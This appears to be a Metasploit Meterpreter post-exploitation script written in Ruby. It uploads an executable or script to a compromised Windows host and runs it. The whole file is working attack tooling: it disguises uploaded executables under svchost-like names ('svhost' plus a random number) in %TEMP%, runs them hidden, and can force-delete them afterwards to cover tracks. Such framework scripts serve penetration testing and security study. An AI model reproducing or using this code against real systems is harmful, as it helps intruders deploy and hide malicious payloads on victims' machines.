# $Id$

session = client
@@exec_opts = Rex::Parser::Arguments.new(
	"-h" => [ false,"Help menu." ],
	"-e" => [ true, "Executable or script to upload to target host." ],
	"-o" => [ true, "Options for executable." ],
	"-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
	"-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
	"-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
)

################## function declaration Declarations ##################
def usage()
	print_line "UploadExec -- upload a script or executable and run it"
	print_line(@@exec_opts.usage)
end

def upload(session,file,trgloc = "")
	if not ::File.exists?(file)
		raise "File to Upload does not exists!"
	else
		if trgloc == ""
		location = session.fs.file.expand_path("%TEMP%")
		else
			location = trgloc
		end
		begin
			ext = file.scan(/\S*(.exe)/i)
			if ext.join == ".exe"
				fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
			else
				fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"
			end
			print_status("\tUploading #{file}....")
			session.fs.file.upload_file("#{fileontrgt}","#{file}")
			print_status("\t#{file} uploaded!")
			print_status("\tUploaded as #{fileontrgt}")
		rescue ::Exception => e
			print_status("Error uploading file #{file}: #{e.class} #{e}")
		end
	end
	return fileontrgt
end
#Function for executing a list of commands
def cmd_exec(session,cmdexe,opt,verbose)
	r=''
	session.response_timeout=120
	if verbose == 1
		begin
			print_status "\tRunning command #{cmdexe}"
			r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})
			while(d = r.channel.read)
				print_status("\t#{d}")
			end
			r.channel.close
			r.close
		rescue ::Exception => e
			print_status("Error Running Command #{cmd}: #{e.class} #{e}")
		end
	else
		begin
			print_status "\trunning command #{cmdexe}"
			r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})
			r.close
		rescue ::Exception => e
			print_status("Error Running Command #{cmd}: #{e.class} #{e}")
		end
	end
end
def m_unlink(session, path)
	r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
	while(r.name)
		select(nil, nil, nil, 0.10)
	end
	r.close
end
#parsing of Options
file = ""
cmdopt = ""
helpcall = 0
path = ""
verbose = 0
remove = 0
@@exec_opts.parse(args) { |opt, idx, val|
	case opt
	when "-e"
		file = val || ""
	when "-o"
		cmdopt = val
	when "-p"
		path = val
	when "-v"
		verbose = 1
	when "-h"
		helpcall = 1
	when "-r"
		remove = 1
	end

}

if file == "" || cmdopt == nil || path == nil
	usage
end
print_status("Running Upload and Execute Meterpreter script....")
exec = upload(session,file,path)
cmd_exec(session,exec,cmdopt,verbose)
if remove == 1
	print_status("\tDeleting #{exec}")
	m_unlink(session, exec)
end
print_status("Finnished!")